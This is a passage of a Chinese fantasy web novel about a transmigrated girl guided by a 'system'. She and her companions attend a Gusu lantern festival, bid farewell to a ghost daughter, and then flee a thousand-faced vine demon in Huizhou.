“这种风格,我适合吗?”
她平日里都是身着白衣,墨发用木簪挽起,从未身着过这种小姑娘的衣裳。
苏锦锦拍了拍她的肩,带了些鼓励的意味。
“不试试怎么知道呢?”
林怀烟眸子转了转,旋即点了点头,进了屏风内换上。
这一边的苏锦锦也没闲着,选了一件与林怀烟同色系的衣裙,又翻箱倒柜选起了簪子。
身后传来窸窸窣窣的声响,苏锦锦停下手中的动作回眸。
林怀烟身子纤瘦挺拔,一身芋紫色衣裳衬得她多了几分柔情,垂着眼睫,好似停栖的蝴蝶。
几缕发丝垂落额前,更为柔和。
林怀烟不自觉扯着衣角,有些许的不自然:“会不会有点奇怪?”
屋内响起阵阵掌声,苏锦锦一边点着头,一边朝着林怀烟的方向走来。
“没有,没有。”
“一点也不奇怪,特别好看。”
苏锦锦拉着林怀烟照了照镜子,映出两张精美的脸。
旋即,林怀烟面上展开一丝笑容。
“好像……”
“是挺不错。”
苏锦锦拉过林怀烟的手到梳妆台前,挑挑拣拣半天,最后选了个雅而不俗的簪子,这才满意地替林怀烟戴上。
收拾过后,两人便踏出门。
吱呀一声响,恰巧撞见门口的时晏清与苏沐风二人。
苏沐风眼底绽开一丝惊艳:“阿烟今日真美。”
林怀烟不自觉抬眸,嘴角微微上扬:“好了,走吧,晚点便看不到表演了。”
*
夜色刚泼满长街,鎏金的灯河便淌了起来。
苏锦锦挽着林怀烟的手,并肩走在热闹非凡的人群之中。
时晏清与苏沐风,同方府一家在两人身后跟着。
方无池怀中抱着方姝,小女孩肉嘟嘟的脸上绽开笑意,吵着闹着想吃青团。
小贩推着摊车,青团按队整齐排列好,等待着顾客的择选。
苏锦锦的眸光也望着在一个个青团上,林怀烟扭过头,敏锐地捕捉到小女孩的情绪。
“我们也要几个青团。”
林怀烟从怀中娴熟地掏出碎银,递给小贩,便接过了青团。
苏锦锦咬一口青团,软糯的皮儿裹着甜而不腻的豆沙馅,春天的味道在口中化开,唇齿留香。
“好好吃,林姐姐你也尝尝。”
林怀烟见小女孩这幅神情,便笑着接过一个送入嘴里。
随即林怀烟双眸微微瞪大:“的确。”
苏锦锦又打开一个青团吃下去,剩下两个便放在腰间的荷包里。
身后的时晏清正注视着这一切,袖口飞出一道符纸,那腰间的荷包便自动开了口,剩下的两个青团也飞到了他的手中。
旋即,又轻轻地揣进了怀中。
几人便吃便向前走,苏锦锦与林怀烟的眸光同时落在小贩提着的花灯上,浑然没估计到身后之人的动作。
小贩正卖力地吆喝着。
兔子灯,鱼灯,缀珠灯等等,令几人眼花缭乱。
“林姐姐,我们买这个灯吧,好漂亮。”
苏锦锦手指向了一个兔子灯。
林怀烟含着笑点点头,递给小贩些银子,手中提着个鱼灯
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,又递给苏锦锦一个兔子灯。
街口的走马灯转得吱呀响,绘着的金鲤与仙鹤追着光,在少年少女的衣袂上投下碎金似的影。
河面上漂着万盏荷灯,烛火星星点点,顺着流水往远处去,像是把天河挪到了人间。
晚风拂过,灯影摇曳,映着他们脸上的笑,比灯花还要暖几分。
天灯如昼,撒在青瓦白墙上,如诗如画。
方无池在后头跟着笑道:“今夜还有千灯齐放,还有半个时辰左右应该就开始了。”
苏锦锦掏着荷包,里面除了自己的帕子竟空空如也。
“林姐姐,你看到我的青团了吗?”
林怀烟正把玩着手中的鱼灯,旋即一愣,疑惑地摇了摇头。
“没有啊。”
苏锦锦不得已才回头,打量着时晏清的表情。
“时晏清,你看到了吗?”
后者无辜地摊了摊手:“可能掉了吧。”
苏锦锦蹙了蹙眉,感到一阵惋惜,却放弃了继续寻找青团的念头。
林怀烟拍了拍苏锦锦的肩,带了些安慰的意味。
“没关系锦锦,一会儿逛完回去再给你买几个就好了。”
苏锦锦点了点头,便继续跟着几人向前走。
小贩的吆喝声此起彼伏,几人驻足脚步观望。
“各位看看,要写些祝福在孔明灯上吗?”
小贩搓了搓手,面上堆着笑。
“可以在孔明灯上写一些祝愿类的话,也寄托着对未来生活的向往嘛。”
林怀烟回眸眼神示意着苏锦锦,后者杏眼亮晶晶地点了点头。
几人沾了沾墨,提笔在宣纸上写着自己的祝福语。
半晌,时晏清放下笔,探出头,眼神向苏锦锦的祝福语上瞟。
后者敏锐地护住自己写的内容,警惕地打量着时晏清,活脱脱像只正在喝水,却被惊扰的鹿。
“你写的什么?”
苏锦锦向后倾了倾身子,宣纸上明晃晃写着八个大字——
变瘦变美,心想事成。
时晏清眼角化开一丝笑意,苏锦锦却像只炸了毛的猫,伸出脖子便要看时晏清写的内容。
后者身姿敏捷,遮住了自己的字迹,叫苏锦锦扑了空。
“那不行,你都看了我的。”
时晏清笑而不语,只护着自己的字迹。
另一侧的林怀烟垂着头,睫羽扑闪扑闪似蝴蝶。
写下最后一个字,便搁下笔,温柔至极。
“阿风,你写的什么?”
“明灯升空,带走尘世烦恼,留下心灵的一片宁静。”
林怀烟低头轻笑:“倒像是你的风格。”
“阿烟的呢?”
“灯映长空,寄语星辰,愿我所爱之人皆得平安喜乐。”
随着林怀烟最后一个字落,忽然,天际炸开一簇烟花,赤金的光瀑落下来,照亮了长街,也照亮了他们相视而笑的脸。
烟花在湖面绽放,映得碧波如碎金,流光溢彩。
无数孔明灯齐齐放飞,天灯如昼,整座姑苏城宛如一副画卷。
而在时晏清的那只背面,隽秀的字迹写着:“苏锦锦,长命百岁,喜乐吉祥。”
苏锦锦琥珀色的眸子里映着烟花与灯火的世界。
身侧的少年目光却直直落在她身上。
今年,来年,岁岁平安。
25. 再见
晨雾满过青瓦白墙,似一层薄纱裹着整座姑苏城。
还处在睡梦中的苏锦锦便被脑海中系统的提示音吵醒。
【系统提醒:七日之期已到,梨鸢将要离开,请宿主快去完成任务】
系统的提示音在苏锦锦脑海中回荡,随即坐起身。
“七日?今天?”
“今天不才是第四天吗?”
系统被苏锦锦吓了一跳,半晌才嘟囔着开口。
【她先去找了梨妖,又再谢府带了几日,这才来的方府,算下来,正好七日之期,今日便是最后一日】
“你也不早点告诉我。”
【你也没问啊】
系统小声地嘟囔着以报不满。
方才还在床榻上迷迷糊糊的少女猛然间已收拾好出门。
【等会,用不着这么着急啊!】
苏锦锦深吸一口气,轻轻叩响房门,却没得到任何回应,便悄眯眯推门进了屋。
木门吱呀一声响,得见里面的场景。
梨鸢梳着头,乌黑光滑的头发一顺到底,刚刚及腰,乖顺地趴在肩头,淡淡的阳光为她的墨发镀了一层金边,美得叫人挪不开眼。
梨鸢还身着初见时那套清冷出尘的白衣,只不过此刻的她已经有些显现出半透明的状态。
苏锦锦的视线渐渐移到床榻上,正叠好了一床被子,床角还摆放好了昨夜那一身淡蓝色衣裳。
阳光顺着窗棂撒遍了整座屋子,显得格外柔情美好。
梨鸢手下动作未停,将墨色的长发熟稔地挽起。
“方愿儿。”
苏锦锦突兀的声线在寂静的屋内响起,打破了屋内的美好。
方愿儿动作顿了一下,便没再开口,继续着手中的动作,将最后一支簪子簪好,郑重地望着铜镜内的自己。
旋即是久久的沉默,只剩窗外雀鸟划过天际,留下阵阵鸟鸣。
苏锦锦顿了一下,垂下眸子,轻叹一口气,随即开口:“和他们好好道个别吧。”
方愿儿双眸一眨不眨地望着铜镜中的自己,少女一身白衣,明眸皓齿,身形清瘦,眼角噙着泪,要掉不掉,惹人怜惜。
“道什么别呢?他们有了姝儿,压根不在意我。”
几缕发丝垂落,方愿儿垂着眸,藏下眼角的情绪,倔强地扭过头,掩饰住自己心底的小失落。
“他们可能快把我忘了吧。”
方愿儿垂下眸子,自嘲地轻笑出声。
“你错了。”苏锦锦上前几步,双手自然地附上方愿儿的肩膀,直视着铜镜内的两人,“他们一直都很想你。”
方愿儿眼角噙着泪花,定定地望着铜镜内的二人。
苏锦锦搂着她的肩,给予温暖,赋予力量。
是她这五年来化作魂魄以来从未感受到的。
以往的世界,她围着方府转,望见午夜噩梦惊醒时的方夫人,想伸手抱住她,却只得落了个空。
望见方姝可爱的面庞,也想上手揉一揉,告诉她要快快乐乐长大。
看见爹爹因着奔走劳累日渐消瘦的肩,每每也想站在他身侧,同他说说话。
这几天来,在方府再次得到的爱,早已足够。
既能叫人留恋,又不留遗憾。
“他们早就认出你了,在与你初见的第一面。”
“之所以他们表现出对你漠不关心的模样,只不过是想让你安心,让你看到他们过得很好。”
“想让你早点去投胎,而不是日日担忧,日日牵挂。”
方愿儿笑着,眼角的泪花终于缓缓淌下。
眼泪大把大把倾泻而下,如小溪般汇聚一处。
“好啦,再与他们道个别吧。”
“别再留遗憾了。”
苏锦锦拍了拍方愿儿的肩,带了些安慰与鼓励的意味。
随即推开门,阳光如瀑布般倾泻而下,照亮了整个屋子。
方愿儿抬起袖子擦了擦眼角的泪,小跑几步,牵住苏锦锦悬空的手。
方府院内的风铃轻轻摇晃,诉说着道不尽的思念。
方夫人见着两人,亲切地招呼着两人落座。
随即亲自替方愿儿舀了勺汤,方愿儿点头道谢,抱着汤碗,倒映出自己红红的眼眶。
“愿儿刚出生时,还是个小奶团子,整个府中喜欢的紧。”
方夫人慢条斯理地为每个人盛汤,好似对所有人说,又好似对一个人说。
“夫人……”丫鬟上前几步,想要阻止方夫人的话继续下去。
方夫人温婉一笑,随即朝着她们的方向挥了挥手。
“无妨。”
丫鬟只好退下,双手交叉叠放在身前,垂下头去静静聆听着方夫人的回忆。
“愿儿刚出生的时候,也是这样的一个夏,整座府上梨花飘香。”
“再后来,愿儿能走了后,她哭着闹着缠着无池陪她放纸鸢。”
被提到的方无池明显愣了一下,低下头沉默不语,默默搅着碗内的汤,泛起圈圈涟漪,汤都凉了大半。
“愿儿一直想去长安看看,看看长安城的繁华,见见京中的小姐,却一直没得见机会。”
“再长大些,她有了心仪的公子,但我们替她相看了,那人并不是愿儿的良配。”
“我们也怕,怕愿儿嫁过去没了撑腰的再受累……”
“只是愿儿后来走了,误会便如一根刺一般,深深埋在心中,久久解不掉……”
方无池摇着头,哀叹一声。
一顿饭下来,安静地出奇,大家都默默地低着头,只剩方夫人一个人在饭桌上诉说着往事。
这顿饭无比短暂,又无比漫长。
几人伫立在府门口,迎送着方愿儿。
梨花铺了满地,似一场迟到的雪,郑重地道别。
方愿儿同方无池与方夫人分别拥抱了下,强忍着眼角的泪,又蹲下身摸了摸方姝毛茸茸的头。
方姝直直望着眼前的大姐姐,黑宝石般地大眼睛眨了又眨,抓着方夫人的手蓦地松开,直直奔向方愿儿的怀中。
“姐姐你要回长安了吗?”
“姐姐……姐姐能不能不走啊。”
小女孩带着哭腔,窝在方愿儿的怀中,身子微微抽动着,眼泪摸了方愿儿一身。
方愿儿嘴角扯过一抹笑,满是留恋地再次摸了摸方姝的头,随即站起身。
主角四人也伫立于府门口,林怀烟心思细
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腻,看得这一幕鼻尖发酸,紧紧牵着苏沐风的手。
灵狐此刻也神色恹恹,四脚朝地趴在地上。
“娘,你什么时候认出我的。”
方愿儿的存在如同一场梦,虚无缥缈,切切实实在身边,却又抓不住。
“你坐在梨花树下的第一面。”
方夫人声音轻柔,如羽毛般扫过方愿儿的耳畔。
方愿儿眼波流动,神色与多年前的少女重叠,方夫人望着这一幕迟迟没回过神。
“你是我的亲女儿,你的一颦一笑,一举一动,气质,动作,神态,娘怎能认不出来呢?”
方愿儿忽的绽开一抹笑容,惹得大家也破涕为笑。
“再见了,爹,娘!”
“再见,姝儿。”
阳光密密地撒下来,方愿儿的身形越来越淡,便朝着几人的方向挥了挥手,转过身决绝地走向府门。
“我从未怨过你们。”
方愿儿渐渐消失,仅剩的身影也无影无踪,独留下方夫人背过身去,哭得泪流满面。
方无池也哽咽着,一边安慰着方姝,一边又拍着自家夫人的背。
也许,放手才是最好的归宿,让我们都走向崭新的生活。
时晏清抱着双臂,站在苏锦锦身侧淡淡开口:“你说,缘分这东西真奇妙,说了再见,却是再也见不到。”
苏锦锦望着方愿儿离开的方向,思绪被拉回:“可我觉得,如果有爱在的话,无论是亲情,友情,爱情,即便是露水情缘,也经久难消。”
“在多年后,一抹淡淡的微笑,一道熟悉的背影,一个如梦似幻的梦,那种情感悄然生长,亘古不变。”
*
方夫人做了个梦。
梦中五岁的小女孩,绽开一抹笑,眼里泛着澄澈的光,手中拿着纸鸢,甜甜地唤自己娘亲。
“娘亲,陪我放纸鸢嘛。”
梨花落了满地,眼前的小女孩的笑容却比梨花还甜。
小女孩跑向梨树,方夫人便跟上去。
眼前的小女孩忽的变成了少女,跑向了梨花树下,如小麻雀般绕在自己身侧。
“娘亲,你在做梨花糕吗?”
少女未施粉黛的面庞流露出一抹淡红,同自己撒着娇。
“娘亲做的梨花糕很好吃的,比小甜做的还好吃。”
望见小姑娘这副模样,方夫人笑着搬来竹梯,底下府中的下人围了一圈,生怕夫人有了半分闪失。
“夫人!小心!”
方夫人的指尖灵巧地穿梭于枝桠间,梨花簌簌地飘,落在少女的指尖,发梢,惹得少女一阵娇笑。
少女穿梭在梨花雨下,转着圈,淡蓝色的衣裳如波浪般翻涌,方夫人也跟着笑,整座府上其乐融融。
少女又跑向门口,笑着,闹着,欢声笑语融为一片。
“再见了,爹娘。”
“再见了,姝儿。”
少女笑着,却又好像哭着,眼角噙着泪,叫人看不清情绪,却笑着同她们说再见。
她哭着来到这个世上,因为懵懂无知。
她笑着同他们说再见,因为爱泽万物。
愿儿,愿你下一世平平淡淡,顺遂安康。
26. 启程
雨水混着梨花瓣淌在地面,带着些惨败的美,府中的仆从们扫帚扫过地面发出沙沙的响声,云雀划过天际,留下一阵清脆的鸟鸣。
苏锦锦神情恍惚,在脑海中思索着原剧情。
按理说,姑苏噩梦案已尘埃落定,林怀烟欠方府的人情也还清了,今日应启程回长安了。
不过,原著中回长安的路途也并非如此顺风顺水。
该来的躲不掉。
苏锦锦轻叹一口气,随即披上外袍,系了个松松垮垮的结,揉了揉迷蒙的双眼拖沓着去洗漱。
水缸内的水清澈见底,因着苏锦锦的动作泛起层层涟漪,微微荡漾着。
一早便不见其他人的身影,倒是时晏清在院里瞎晃悠,什么也不干,就定定看着苏锦锦。
看的人有些发怵。
听闻方夫人昨夜四更天才浑浑噩噩歇下,想必是爱女心切。
一个坚强的母亲,两次失去了她的女儿。
思绪还在飘荡,苏锦锦双手舀起一捧水,打在自己脸上,这才精神了些。
姑苏日光和煦,正值四月末,空中弥漫着梨花的清香。
仆从们将惨败的梨花瓣扫到一处,院内看起来干净了不少。
苏锦锦回头望着身后懒洋洋的时晏清,细腻的肌肤上还残存着未干的水珠。
睫羽挂着晶莹的水珠,在和煦的日光下泛着剔透的光,眨眼时如蝴蝶翩翩起舞,苏锦锦蓦地开口:
“林姐姐和哥哥呢?”
时晏清垂着头,一手把玩着柳条手环,柳条打着卷,边角早已泛了黄,孤零零地趴在白皙的皓腕处。
“不知道。”
少年头也不抬,随意地回了一句。
得了,还不如不问,苏锦锦轻轻“哦”了一声,甩了甩手走进正厅,恰巧对上苏沐风的视线。
身侧林怀烟的视线也闻声寻了来。
方无池坐在两人身侧,眼眶微红,但作为一家之主,此刻却和蔼地笑,亲切地同两人说些什么。
“多谢柳方士与苏方士此次来到姑苏城替我们解决了梨妖。”
方无池正热情地招呼几人打算多留宿几天。
“几位此番捉妖也耗费了不少精力,若不嫌弃,不如在府上多歇几日,休整好了再启程?”
苏沐风见着林怀烟的眸光后便摆了摆手,一口回绝:“多谢方兄一番好意,不过我们还有要事再身,此行恐怕不只是梨妖这么简单,定有大妖潜伏,还需前往徽州细细探查一番。”
苏沐风神色凝重,眸中带了几分不容置疑的坚定。
方无池见状捋着胡须笑呵呵:“那好,那好。”
方姝趴在他的腿上,扬起脸眨着一双黑眸,方无池又摸了摸方姝的头。
架不住方无池的盛情难却,听闻主角团在来的路途中马车丢失,便为几人备了辆上好的马车。
马车内宽敞明亮,内部铺着柔软的地毯,车门上还雕刻着精美的花纹,倒是符合方府的风格。
苏沐风和林怀烟坐在另一侧,时晏清同苏锦锦并排坐在另一侧,脚底下还有只团子懒洋洋趴着。
休整一日,精力充沛的苏锦锦心底里欣喜的紧,一手掀起幕帘,还透漏出几分期待望着窗外的车水马龙。
卖糖人的商贩推着摊车叫卖着,孩童们围了上去,嬉笑声融在这熙攘人群中。
苏锦锦将头探了回来,马车四人,只有她精神的很,其余三人连带着灵狐都打着盹。
林怀烟较剩下两人来说还算清醒,眉头紧皱,思虑些什么。
苏锦锦见状眼睛亮了几分,双手拖着腮开口:“林姐姐。”
林怀烟思绪被打断,紧皱的眉头微微放松,周遭的气度又温婉了下来。
“哥哥刚才说的大妖是什么啊?”
马车内剩余两人也精神了起来,苏沐风端坐着,时晏清眼皮微抬,先看向了苏锦锦。
只剩个灵狐漠不关心地四脚朝地睡大觉。
年度最懒灵狐。
“还记得杨柳镇的清泉怪吗?”
苏锦锦颇有兴趣地重重点了点头,听着林怀烟一字一句道:
“当初,我爹娘奉命从江南赶到长安城只为替长公主除妖。”
“七年前,长公主府邪祟出没,闹得长安城人心惶惶,民不聊生。”
“而长公主殿下也肉眼可见地日益消瘦下去,”林怀烟顿了一下,接着道,“长公主殿下乃当今天子嫡亲妹妹,一母同胞,宠爱有加。”
“圣上在民间招揽奇能异士,试了很多偏方只为救好长公主殿下。”
“当年宫中的方士换了一批又一批,开了一批批的药,不过都是花架子,到底没看出个所以然来。”
时晏清又默默地阖上眼帘,身子微微向后靠,小憩一会。
“不得已下,圣上召了远在江南的林家前往长公主府,我爹娘也死于念妖之手。”
“不过再后来不知为何,念妖便不再出没。”
“但长公主身子一日比一日差,日日在汤药中度过,耗了两年,最终……”林怀烟叹了口气,剩下的话没再说下去。
苏锦锦难得的没再接话,低垂着头也陷入了思绪。
不过她脑袋没那么好使,想着想着就迷糊,一迷糊就想睡觉。
于是她真这么做了。
方无池派的马车豪华,赶了几天的路也并不颠簸,她倒是睡得很安心。
夜幕低垂,刮起一阵凉风,苏锦锦坐在马车边,凉风袭来,卷起马车的幕帘,也卷走了残存的睡意。
苏锦锦一个哆嗦起身,一个毛茸茸的外袍搭在身上,苏锦锦眼皮抬了抬看清来人,迷迷糊糊间又睡了过去。
时晏清收回目光,望着窗外渐沉的暮色,渐渐回过神来。
赶了几日的路,车夫快马加鞭赶到了徽州,几人稍有倦容。
苏沐风轻轻拍了拍苏锦锦的肩,意识混沌间苏锦锦迷迷糊糊睁开眼睛直起身。
身上的披风落在地上,盖在灵狐毛茸茸的脑袋上。
睡意全无。
时晏清给她披风?
太不对劲了,苏锦锦猛的夺过盖在灵狐脑袋上的披风,露出一双异瞳幽怨地盯着苏锦锦。
苏锦锦心虚地露出一抹笑,将披风小心翼翼系好,捞起灵狐跟上几人的脚步。
在方府的膳食太好了,苏锦锦只觉抱着
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神狐的手臂都要断了,身无可恋地挪动着步子。
身上传来时晏清身上的茉莉花香,倒是格外舒适。
原来时晏清喜欢茉莉。
苏沐风安排好了新宅,这是准备在这住上十天半个月了。
徽州理应热闹些,此刻夜里的徽州倒冷清极了。
街道上行人乱窜,有妇女抱着婴儿,有伛偻提携,面色惊恐,都朝着一个方向跑。
几人提着包袱伫立于院门口,望着匆匆忙忙的行人,正困惑之际,苏沐风望向身侧弯着腰的老妪,开口询问:“大娘,怎么大家都在跑?”
那老妪双眼混浊,应是有眼疾,眯了眯眼打量着几人的行容。
“你们是外城人吧。”
老妪声音沙哑得出奇,混白的眼珠子转了又转,盯得人心里发怵。
苏沐风一把挡在几人身前,一脸警惕地望着老妪的神色。
老妪又换上和蔼的笑容,笑眯眯地看着几人:“五年前的江南的那场旱灾还记得吧。”
“再加上一年前徽州水灾,导致徽州大乱,每三月便要挑一家的适龄姑娘到西山的千面藤去陪嫁。”
“今夜,便是这三月中陪嫁的日子。”
苏沐风微微蹙了蹙眉,抢先一步开口:“大娘,可以详细说一下千面藤吗?”
老妪佝偻着背,混浊的眼光放在苏锦锦身上,苏锦锦背后一阵凉意,只觉瘆得慌,一激灵躲在了时晏清身后,露出半个小脑袋观察着一切。
“徽州有个不约而同的约定。”
苏沐风神色凝重,挡在几人面前开口:“什么约定?”
老妪微微摇晃着身子,干瘦如枯柴般的身子仿佛下一秒就会倒。
“游山不游城西山,望树不望千面藤。”
她伸出一根手指,如半截老树根般在空中有节奏地微微摇晃着。
“千面藤,顾名思义,有千百张面具,靠近它时可蛊惑人心,化作亲人或至爱的模样蛊惑你。”
不知为何,苏锦锦从眼前老妪的口中听到了一丝隐隐的笑意,不由得咽了下口水。
“尤其是她这种小女孩。”
老妪的手骤然间转了个方向,指向躲在时晏清身后的苏锦锦。
苏锦锦僵硬地伸出一根手指指了指自己,眼神在几人身上乱飘:“我?”
苏沐风微不可察地皱了皱眉,嘈杂声与尖叫声混为一体。
时晏清眉头微微一蹙,垂下眼睫,腰间的收妖葫瞬间剧烈振动,几人闻声纷纷回眸。
苏沐风面色沉重:“阿清,莫要胡闹。”
不待苏沐风话音落地,老妪瞬间面色痛苦,枯柴般的身子瞬间化作了一捧灰,落在了地面。
收妖葫渐渐停止了抖动,时晏清淡淡开口:“她是梨妖。”
苏锦锦瞳孔微微放大,有些不可置信地开口:“梨妖?我们在姑苏城不是已经诛杀了吗?”
“不,按常理来说,梨妖吸收的精气越多,本体就更强,她那节枯树干,便化作了这老妪来蛊惑我们。”
“是我不对,阿清。”
苏沐风突然郑重起来,向时晏清道歉。
(第二卷完)
27. 探听
人群忽的散开,街上空无一人,虫鸣声不断,又蓦地扼杀在摇篮中。
几人回了屋,表情如出一辙地紧张。
“所以说,今日就会有个少女献祭?”
苏锦锦率先开口,打破了这静谧的气氛。
烛火摇曳,映照在每个人的脸庞,潮湿的屋子迸发出温暖的光。
“五年前的大旱,再加上一年前徽州水患,冲垮了无数粮食,也使无数家庭流离失所。”
苏沐风眼神定定望着地板,整个屋子散发着潮味。
苏沐风顿了顿:“如今朝廷腐败,官员贪污,怕是赈灾的银两迟迟拨不下来。”
苏锦锦蹙了蹙眉,嗅了嗅屋内的潮味,记得原书粗略描写了这一段:
她所在的世界不光妖物横生,当今圣上对流离失所的百姓漠不关心,朝中重臣贪污腐化。
“所以说千面藤治了徽州水患,不过代价是每三月就要送来一个少女?”
苏锦锦拖着腮,杏眸闪着亮光,苏沐风点了点头,颇为赞赏和惊喜地看着她。
“对。”
“今日,便是献祭之日。”
林怀烟双拳握紧,蹭的一下站起身:“不能坐以待毙了,能救一个是一个。”
五月初,徽州安静地出奇,就连虫鸣也不复存在。
窗外的茉莉,开得开,败得败,香味钻入衣领,紧紧攥住呼吸。
几人站在街上,漫天寂静,苏锦锦凝望着青灰色的天。
【系统提醒:徽州一案副本已开始,请宿主做好准备哦】
【支线任务:查清千面藤的秘密,并同几人诛杀千面藤妖】
【愿宿主再接再厉】
苏锦锦点了点头,随着系统的声音,在心里为自己加油打气。
西山郁郁葱葱,虫鸣混杂着鸟鸣,在这片寂静的夏中格外引人注目。
西山更较潮湿,空气中弥漫着一股腐败的味道,惹得人直皱眉。
远远的,便见一位少女身着大红嫁衣,盖着简陋粗糙的盖头,肩膀一耸一耸,一阵啜泣声引得几人目光不自觉看去。
“你走吧。”
苏锦锦上前几步,率先打破空气中的寂静,轻拍了拍少女的肩。
透过红盖头,望见少女停下动作,微微抬头。
“这里我们会处理好。”
剩下三人并为对苏锦锦的话过多震惊,流露出一抹淡淡的笑,伫立在原地观望着。
少女道了声谢,透过那红盖头,隐隐约约能看到她的笑容。
她朝着渐渐暗下去的残阳跑,血红染了整座城,她跑的义无反顾。
苏沐风神色有些忧虑,三两步走到苏锦锦身侧。
“锦锦,记得跟紧我们,万不得以自己作饵。”
苏锦锦郑重抬头,杏眸似含秋水,又无比坚定。
“我不会降妖除魔,但也不想跟在你们身后当贪生怕死之辈。”
苏沐风心怀大义,对苏锦锦这一番话有所触动,想要拍她肩的手又默默收了回来,唇角挂笑,递给她一沓符纸。
苏锦锦伸出手还未接过符纸,另一沓明晃晃的符纸便绕过了苏沐风,落在苏锦锦的手掌上。
两人先是一愣,随即抬头望向符纸的主人。
来人正是时晏清。
时晏清不容置疑地塞给苏锦锦符纸,又一脸警惕地看着苏沐风。
“我能保护锦锦。”
苏沐风怔愣一瞬,随即眉头舒展开来,将符纸揣回了怀里,露出一抹意味深长的笑。
“那好,那好。”
越往深处走,西山中的潮气就越来越重,如烟如雾笼罩着整座山,四处都长满了青苔,若不留神,很容易打滑。
林怀烟怀中抱着灵狐,走在几人前面。
一个毛茸茸的小脑袋从林怀烟的臂弯处探了出来,好奇地张望着身后的苏锦锦。
几人淌过小溪,云雾渐散,露出对面粗壮的藤树。
藤树树枝粗壮,一层层缠绕,如小蛇缠绕小臂般,郁郁葱葱。
夜幕低垂,苏锦锦手中提着小油灯,蹑手蹑脚地迈着步。
小油灯散发出微弱的光,环绕在几人身侧,也照亮了对面的藤树。
藤树猛的睁开眼,千百张人脸覆盖在藤树的枝干上。
那千百张面具同时睁开眼,在阴森的西山中咯咯地笑。
渗人至极。
“我的祭品呢?”
正中央最大的面具开了口,同其他尖细的笑声不同,那面具声线沙哑,古老且深沉。
面具眼珠子滴溜溜地转,最终定格在藏在几人身后的苏锦锦身上。
“找到了。”
望着面具深邃的眼神,苏锦锦渐渐意识混沌,平日里泛着亮光的双眸空洞无神,麻木地向前走。
藤树后走出方才在山脚下碰见的少女,披着红盖头,肩膀一耸一耸,微微啜泣。
“快来吧,你来了才能换她走。”
那少女抽泣着:“姐姐,我不想当成祭品,求求你,救救我。”
可在其他三人的视角看来,那站在千面藤下的少女,分明就是一具骷髅架子,披上了红纱与盖头。
林怀烟站在另一侧,望见这一幕,焦急地喊出声:“锦锦,别信他!”
“那是假的!我们方才看见的小姑娘她已经回家了。”
可此刻被蛊惑的苏锦锦浑然听不见周围的声音,口中喃喃低语,只麻木地重复自己的动作,一步一步,迈着步子朝着千面藤的方向走。
忽的,苏锦锦脖颈间的白玉闪了又闪,意识刚刚清醒,又被时晏清一把拽了过来。
苏锦锦宛如濒死的鱼,又重获了自由,眼神逐渐清明起来,拍着自己的胸口。
脖颈间的白玉又暗淡下去,恢复如初。
千面藤的把戏被几人戳穿,自是不愿的很,伸了伸身上的藤蔓,便要向苏锦锦的方向甩来。
苏锦锦回过神来,手腕翻飞,将时晏清给的符纸一股脑砸在了那藤蔓上。
藤蔓瞬间被点燃,随即火势绵延,愈演愈烈,千百张面具痛苦的哀嚎,狰狞至极,令人不忍直视。
奈何他长不出脚,只能呆在原地无能地哀吼,起不到任何作用。
趁着这个空隙,几人搀扶着,一溜烟跑下山。
西山间枝杈横生,再加上心情惶恐,几人跑得甚是吃力,苏锦锦身后传来剧
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烈的喘息声。
回头望,林怀烟抱着灵狐的手微微颤抖,额头浮现一层冷汗,染湿了额前的碎发,眉头紧紧皱着,却丝毫不敢慢了脚步。
每次见到林怀烟时,或许是女主的光环,她内核强大,不需要任何人的衬托,也无比完美,温柔。
因着长时间的负重,林怀烟怀中还抱着灵狐,呼吸开始不均。
随着一声惊呼,林怀烟脚底打滑,重重地摔了下去,苏锦锦在林怀烟前面不远处,闻声便回头查看情况。
她膝盖处已磨出血,血珠混着泥土,与她细腻的肌肤形成了鲜明的对比。
这一幕,看得苏锦锦心揪了起来,眉头紧紧皱在了一起。
来不及细细地查看伤势,在林怀烟诧异且惊喜的目光下,抢先一步抓住了她的手。
“快跑,林姐姐。”
“千面藤快来了。”
苏锦锦接过了林怀烟怀中的灵狐,另一只手扯着她向山下跑。
灵狐垂下头,神色恹恹,许是感觉自己有些拖后腿,不由得蜷了蜷身子,试图降低自己的存在感。
苏锦锦扯过林怀烟纤细的皓腕,两人在树林中跑得飞快。
她掌心微微渗出汗,此刻却也顾不得太多,只一味地向前跑。
夜幕渐沉,泛着点点星火,几人一路狂奔到了山下。
三人出了薄汗,看上去都有些狼狈,只有时晏清神色淡淡,若无其事。
苏锦锦松开了扯着林怀烟的手,将怀中的灵狐递给了苏沐风,两手撑着膝盖弯下腰大口喘息着。
林怀烟撩起裙摆,先简单处理了一下膝盖的伤势。
苏锦锦心又提了起来,毕竟林怀烟不像自己有疼痛减伤系统,这一摔得多么疼。
望见这一幕,灵狐耷拉着耳朵,眼睛眯起来,缩成一小团,许是想要降低自己的存在感。
“是不是拖累你们了?”
良久灵狐才在苏锦锦的怀中开口,几人朝着宅子的方向慢悠悠走着。
“没有啊。”
“你要是真这么想,就减减肥。”
几人在暗夜中迸发出笑声,连带着怀中的灵狐也跟着微微勾了勾唇。
死里逃生般的喜悦,冲刷了方才命悬一线的压迫感,几人都放松下来。
苏锦锦的笑声如银铃般悦耳,脖颈上的白玉项链也不断碰撞,发出响声。
她一手搀扶着林怀烟,朝着宅子的方向缓缓走。
苏沐风安排的小宅不大,刚刚好,香炉飘出淡色烟雾,让人安心。
几人方才从生死关头虎口脱险,还未回过神来,苏沐风便率先开口打破了宁静。
“此行千面藤已被我们惹怒,他不会就此罢休的,三月后我们还需去一次西山。”
三月,足矣了。
几人在小宅内安置下来,苏锦锦掸了掸屋内的灰尘,弯下腰,将一捧茉莉花插入精致的花瓶中。
茉莉花有些干了,边角有些枯黄,苏锦锦在来时的路上干脆将它们做成了干花。
小屋被她打理的井井有条,又起身利索地铺好床。
时晏清斜靠在门框,静静看着屋里的人似一只小蜜蜂般在屋内乱转。
28. 茉莉
苏锦锦正掸着床单,许是察觉到门口的视线,方才在西山的种种经历又如走马观花般浮现在脑海中,心底不自觉提起了一口气。
她屏气凝神,寻着视线在空气中与时晏清对视。
空气仿佛凝固了几秒。
“你大半夜不睡觉老来我屋干嘛。”望见来人是时晏清,苏锦锦吐出一口气,又掸了掸床单,语气里带着些嗔怪。
“睡不着。”
时晏清斜靠在门口,语气淡淡,毫无波澜,一双桃花眼直勾勾盯着苏锦锦,看得人有些许的不自然。
苏锦锦许是想到什么,杏眸滴溜溜转了一圈,放下手中的动作,床单软塌塌趴下去,服帖地包裹住床垫。苏锦锦又走向梳妆台的抽屉,取出一个小木盒。
